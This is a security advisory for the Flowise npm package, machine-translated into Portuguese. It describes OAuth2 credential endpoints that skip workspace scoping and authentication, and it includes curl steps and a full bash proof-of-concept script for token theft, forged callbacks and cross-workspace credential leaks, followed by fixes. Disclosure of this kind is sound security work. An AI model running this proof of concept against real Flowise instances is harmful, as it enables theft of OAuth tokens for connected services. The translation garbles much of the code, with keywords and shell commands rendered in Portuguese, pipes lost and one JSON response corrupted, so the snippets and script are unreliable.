Três OAuth 2 Os endpoints credenciais procuram credenciais por `id` sozinhos sem filtro `workspaceId`. Dois desses endpoints (`callback`, `refresh`) estão listados em branco de toda a autenticação. Isto permite: 1. **Acesso credencial ao espaço de trabalho cruzado** — Qualquer usuário autenticado pode iniciar OAuth 2 flui contra as credenciais pertencentes a outros espaços de trabalho. 2. ** Injeção de símbolos sem autenticação** — Um atacante sem autenticação pode forjar OAuth 2 Callbacks para sobrescrever tokens em qualquer credencial. 3. **Anotação de símbolos sem autenticação** — Um atacante sem autenticação pode atualizar símbolos para qualquer credencial. ### Código vulnerável: nenhum espaço de trabalho. Todos os três OAuth 2 os manipuladores consultam a tabela `Credential` somente por `id`: **`pacotes/server/src/routes/oauth 2 /index.ts: 80 - 82 `** (autorizar) ```` tipscript const credencial = aguarde credencialRepository.findOneBy({ id: credencialId // Faltando: workspaceId filter }) ``` **`pacotes/server/src/routes/oauth 2 /index.ts: 183 - 185 `** (chamada) ```` tipscript const credencial = aguarde credencialRepository.findOneBy({ id: status as string // Disparo: workspaceId filter }) ``` **`pacotes/server/src/routes/oauth 2 /index.ts: 314 - 316 `** (refresh) ```` tipscript const credencial = aguarde credencialRepository.findOneBy({ id: credencialId // Faltando: workspaceId filter }) ```.

### Padrão correto (mesma base de códigos). O serviço de credenciais padrão executa corretamente o isolamento do espaço de trabalho: **`pacotes/ servidor/ src/ services/credentials/index.ts: 130 - 132 `** ```` tipscript const credencial = aguarde appServer.AppDataSource.getRepository(Credencial).findOneBy({ id: credencialId, workspaceId: workspaceId // <--- Workspace scoping present }) ``` ### Passagem de autenticação via lista branca. **`pacotes/ server/src/utils/constants.ts: 40 - 41 `** ````` exporte o tipo de produto const WHITELIST_URLS = [ //... '/ api/v 1 /oauth 2 - credencial/callback', // linha 40 '/ api/ v 1 /oauth 2 - credencial/refresh', // linha 41 //... ] ``` **`pacotes/ servidor/ src/index.ts: 223 - 225 `** — lista branca com prefixo pula todo o auth: ```` tipscript const isWhitelisted = whitelistURLs.some(((url) => req.path. startsWith(url)) se (isWhitelisted) { next() // Nenhuma verificação JWT, nenhuma verificação da chave da API } ```` ### Cenário A: Vazamento de Metadados Credenciais do Espaço de Trabalho. Um usuário autenticado no Workspace A inicia um OAuth 2 autorizar o fluxo para um credencial pertencente ao Workspace B. O servidor retorna uma URL de autorização contendo os credenciais de vítima `client_id`, `scope` e `redirect_uri`. ``` POST / api/v 1 /oauth 2 - credencial/ autorize/ Cookie: connect.sid= ```.

**Resposta:** ````json { "sucesso": true, "credentialId": " ", "autorizationUrl": " 2 /autorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...", "redirectionUri": " 1 /oauth 2 - credencial/callback" } ``` ### Cenário B: Injeção de Tokens sem autenticação via chamada forjada. O ponto de referência de chamada não requer autenticação e usa o parâmetro `estate` como chave de busca credencial. Um atacante que controla um OAuth 2 provedor (ou MitMs o fluxo) pode injetar tokens arbitrários em qualquer credencial. ``` GET / api/v 1 /oauth 2 -credential/callback?code=ATTACKER_AUTH_CODE&state= (Nenhuma autenticação necessária) ```. O servidor troca o código no `accessTokenUrl` do credencial, e quaisquer símbolos que o provedor devolve são criptografados e armazenados no registro de credenciais da vítima (linha 271 ): ```` script aguarda credencialRepository.update(credential.id, { cifradoData, // Contém dados token controlados pelo atacante atualizadosDada: nova Date() }) ``` ### Cenário C: Revisão de Tokens não autenticada. Um atacante pode atualizar o OAuth de qualquer credencial 2 Tokens sem autenticação. O servidor lê o `refresh_token` armazenado, troca- o no `acessTokenUrl` e retorna os metadados de tokens novos. ``` POST / api/v 1 /oauth 2 -credential/ refresh/ (Não é necessária autenticação) ```.

**Resposta:** ````json { "sucesso": verdadeiro, "CredencialId": " ", "tokenInfo": { "acesso_token": "novo valor-acesso-token", "token_type": "Bearer", "expires_in": 3600, "tem_novo_refresh_token": falso, "expira_at": " 2026 - 04 - 13 T 12: 00: 00.000 Z" } } `` O novo `access_token` é devolvido diretamente no corpo de resposta (linha) 393 - 401 ), dando ao atacante um OAuth válido 2 token para qualquer serviço que a credencial da vítima esteja conectada. - Uma instância de fluxo executando com pelo menos dois espaços de trabalho (Espaço de Trabalho A e Espaço de Trabalho B) - Um OAuth 2 credencial configurado no Workspace B (a vítima) - O UUID credencial do credencial da vítima (obtível por qualquer membro do Workspace B, ou através do IDOR — veja Encontrar 4 ) Passo 1 — Confirme que o objetivo de atualização não autenticado é alcançável ````Bash # Sem cookies, sem token do portador — completamente não autentificado FLOWISE_URL=" VICTIM_CRED_ID="xxxxxxxxx-xxxxx-xxxxxxxxxxxxxxx" enrolar - s - X POST "${FLOUISE_URL}/api/v 1 /oauth 2 - credencial/refresh/${VICTIM_CRED_ID}" \ -H "Tipo de conteúdo: aplicativo/json" ```.

** Resultado esperado se existe credencial e tem um token de atualização:** ````json { "sucesso": verdadeiro, "mensagem": "Auth 2 Token atualizado com sucesso", "credentialId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 3600, "tem_novo_refresh_token": falso, "expira_at": " 2026 - 04 - 13 T..." } } `` ** Resultado esperado se o credencial não for encontrado:** ```json { "sucesso": falso, "mensagem": "Crencial não foi encontrado" } ``` Passo 2 — Autorizar espaço de trabalho cruzado (requer qualquer sessão válida). ```Bash # O atacante é autenticado no Workspace A # Eles visam um UUID credencial do Workspace B ATTACKER_COOKIE="connect.sid=s% 3 A..." enrolar - s - X POST "${FLOUISE_URL}/api/v 1 /oauth 2 - credencial/autorize/${VICTIM_CRED_ID}" \ -H "Cookie: ${ATTACKER_COOKIE}" \ -H "Tipo de conteúdo: aplicativo/json" ``` ** Resultado esperado — OAuth da credencial da vítima 2 config é vazado:** ```json { "sucesso": true, "credentialId": "xxxxxxxxx-xxxxx-xxxxxxxxxxxxxxxxxxx", "autorizationUrl": " "redirectUri": " 1 /oauth 2 - credencial/callback" } ```.

Passo 3 — Forja chamada de volta para injetar fichas controladas pelo atacante ```Bash # Atacador configura um OAuth desonesto 2 provedor que retorna fichas criadas, # OU intercepta um fluxo legítimo. # O parâmetro de estado é o UUID credencial da vítima. enrola - s "${FLOUISE_URL}/api/v 1 /oauth 2 -credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}" ```. O servidor POSTs o `código` para o 'accessTokenUrl' do credencial. Se o atacante controlar o OAuth 2 provedor (ou tem um código válido), os símbolos devolvidos são escritos no credencial da vítima. ### Roteiro PoC automatizado completo. ```` bash #!/usr/bin/env bash set -euo pipefail # ---- Configuração ---- FLOUISE_URL="${ 1:?Usagem: $ 0 [atacker_cookie]}" VICTIM_CRED_ID="${ 2:?Usagem: $ 0 [atacker_cookie]}" ATTACKER_COOKIE="${ 3:-}".

eco " === OAuth 2 Sequestro de credenciais de espaço de trabalho em meio ao PoC ===" eco "Meta: ${FLOISE_URL}" eco "Credencial: ${VICTIM_CRED_ID}" eco "" # --- Vetor de ataque 1: Revisão de símbolos não autenticada --- eco "[ @ info: status 1 ] Tentando atualizar tokens sem autenticação..." REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \ "${FLOUISE_URL}/api/v 1 /oauth 2 - credencial/refresh/${VICTIM_CRED_ID}" \ -H "Tipo de conteúdo: aplicativo/json") HTTP_CODE=$(echo "${REFRESH_RESP}". 1 ) CORPO=$(echo "${REFRESH_RESP}". cabeça -n - 1 ). se [ "${HTTP_CODE}" = " 200 " ]; então eco "[!] VULNERÁRIO — A atualização de tokens não autêntica conseguiu " eco " Resposta: ${BODY}". cabeça - c 500 eco "" elif eco "${BODY}". grep -q "Credencial não encontrado"; então eco "[*] Credencial não encontrado (UUID pode ser inválido)" elif eco "${BODY}". grep -q "Errar necessário"; então eco "[*] Credencial existe, mas não tem nenhum revigo_token (sem autista anterior) 2 fluir)" eco "Isso confirma que o objetivo é alcançável sem aut" mais eco "[*] HTTP ${HTTP_CODE}: ${BODY}" head - c 300 eco fi "" # --- Vetor de ataque 2: Inter-espaço de trabalho autorizar (necessidade de sessão) --- se [ -n "${ATTACKER_COOKIE}" ]; em seguida, ecoar "[ 2 ] Tentando um espaço de trabalho cruzado autorizar..." AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \ "${FLOUISE_URL}/api/v 1 /oauth 2 - credencial/autorize/${VICTIM_CRED_ID}" \ -H "Cookie: ${ATTACKER_COOKIE}" \ -H "Tipo de conteúdo: aplicação/json") HTTP_CODE=$(echo "${AUTH_RESP}". 1 ) CORPO=$(echo "${AUTH_RESP}". cabeça - n - 1 ). se [ "${HTTP_CODE}" = " 200 " ]; em seguida, eco "[!] VULNERÁVEL — Acesso credencial ao espaço de trabalho confirmado" eco "URL da autorização vazada:" eco "${BODY}". 3 - m json. tool 2 >/dev/null. Echo " ${BODY}". cabeça - c 500 senão ecoar "[*] HTTP ${HTTP_CODE}: ${BODY}" head - c 300 "[ 2 ] Saltou o espaço de trabalho cruzado autorizar (não foi fornecido nenhum cookie do atacante)" fi eco "".

# --- Vetor de ataque 3 Confirme que a chamada não é autenticada --- echo "[ 3 ] Confirmar o endpoint de chamada não é autêntico..." CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \ "${FLOWISE_URL}/api/v 1 /oauth 2 -credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}") HTTP_CODE=$(echo "${CALLBACK_RESP}". 1 ). # Qualquer resposta além de 401 / 403 confirma que o objetivo é alcançável sem autidade. # A 400 com "token_exchange_failed" significa o endpoint processado o pedido # (tentado trocar o código) — ele simplesmente falhou no provedor externo. se [ "${HTTP_CODE}" = " 401 " ] ї. [ " $ {HTTP_CODE} " = " 403 " ]; então eco "[*] Endpoint Callback devolvido ${HTTP_CODE} — auth is forfeted (NOT vulnerable)" ou eco "[!] VULNERABLE — Endpoint Callback alcançable without auth (HTTP ${HTTP_CODE})" eco " O servidor tentou processar o OAuth 2 Callback." eco "Com um código de autorização válido, os símbolos serão escritos no credencial." fi eco "" eco "=== PoC Complete ===" ```. VectorAut Obrigatório Impacto------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 2 Tokens com valores controlados pelo atacante Roubo de tokens via `/refresh`. Nenhum Obtenha um novo `access_token` para qualquer serviço conectado de credencial (Microsoft 365, Google, etc.) ** Impacto arrastado:** Um atacante que obtém um único UUID credencial (via IDOR, exposição de log ou força bruta de UUIDs) pode atualizar e roubar OAuth silenciosamente 2 tokens de acesso para serviços externos como o Microsoft Graph, o Google Workspace ou qualquer OAuth personalizada 2 provedor — sem qualquer autenticação para a instância de Fluxo. ## Componentes Afectados. Arquivo Linhas Edição do arquivo Pacotes/server/src/routes/oauth 2 /index.ts`. 80 - 82. ` FindOneBy({ id })` — nenhum `workspaceId`.. `pacotes/ server/ src/routes/oauth 2 /index.ts`. 183 - 185. ` FindOneBy({ id: state })` — nenhum `workspaceId`. `pacotes/ server/ src/routes/oauth 2 /index.ts`. 314 - 316. ` FindOneBy({ id })` — nenhum `workspaceId`................................................................................................................... 40 `/callback` listado de branco a partir de auth `` pacotes/ servidor/src/utils/constants.ts`` 41 `/refresh` listado branco de auth.

1. **Adicione `workspaceId` a todas as buscas credenciais** no OAuth 2 rotas, correspondendo ao padrão já usado em `services/ credenciais/index.ts: 130 - 132 `: ``` tipscript // Antes (vulnerável) constencial = aguarde credencialRepository.findOneBy({ id: credencialId }). // Depois de (fixado) constidential = esperar credentialRepository.findOneBy({ id: credentialId, workspaceId: req.user?.activeWorkspaceId }) ``` 2 **Retire `/callback` e `/ refresh` de `WHITELIST_URLS`** ou implemente um símbolo de estado assinado e limitado em tempo que autêntica a chamada de volta sem uma sessão. 3 **Replace o parâmetro `estado'** com uma nonce criptográficamente aleatória ligada à sessão do usuário (ver também Encontrar 8 ). 4. **Não retorne `access_token` no corpo de resposta `/ refresh`.** O token deve ser apenas armazenado no lado do servidor nos dados credenciais criptografados, nunca enviado ao chamador.

Registro de aconselhamento: GHSA-wch 5 - xp 77 - fxg 4. Identificadores relacionados: CVE- 2026 - 70474. Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 04 T 18: 01: 29.000 Z e lista a sua última modificação como 2026 - 08 - 04 T 18: 01: 29.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/África do Sul:N. Informações sobre software e versão afetadas: fluxo do pacote npm — ECOSISTEM: introduzido 0, corrigido 3.1.3. Classificação e evidência: identificadores de fraqueza CWE- 863. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.